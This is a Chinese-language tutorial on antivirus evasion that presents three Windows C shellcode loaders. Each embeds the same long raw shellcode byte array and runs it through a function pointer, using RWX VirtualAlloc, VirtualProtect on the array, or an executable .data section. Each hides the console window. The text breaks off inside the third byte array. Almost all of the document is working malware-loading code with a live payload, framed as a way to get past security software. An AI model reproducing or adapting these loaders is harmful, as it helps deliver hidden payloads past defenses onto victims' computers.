免杀0到1--ShellCode存放方式

示例:指针运行

通过修改内存属性、修改data段属性、新增数据段等方式改变shellcode的存放位置,以此达到规避杀软的一个效果。

1.原始版本

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";void main()
{LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if (addr == NULL) {return;}memcpy(addr, sc, sizeof(sc));((void(*)())addr)(); // addr强转成函数指针 , 加() , 调用函数 , 运行这块内存中的shellcode代码
}

解释:(void(*)()) 是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数,也就是说这行代码将 addr 的地址转换为一个函数指针,然后调用该指针所指向的函数。

2.修改内存属性(优化)

默认保存数据的内存是不可执行的,通过更改这块内存的属性为可执行,使shellcode可以正常执行,从而规避了 VirtualAlloc 函数的使用。

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7"; // 此处放你的shellcodeint main() {DWORD oldProtect = 0;// 修改数据内存属性为可执行VirtualProtect(sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);// 把这个内存的数据转成指针函数, 函数()调用 , 执行shellcode代码 , 不能执行就很奇怪((void(*)()) & sc)(); //&sc
}

3.修改data段属性(再优化)

默认全局变量是存放在data段, 修改成可执行即可。

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma comment(linker, "/section:.data,RWE")//设置 data段可读可写可执行
//全局变量在 data段
unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\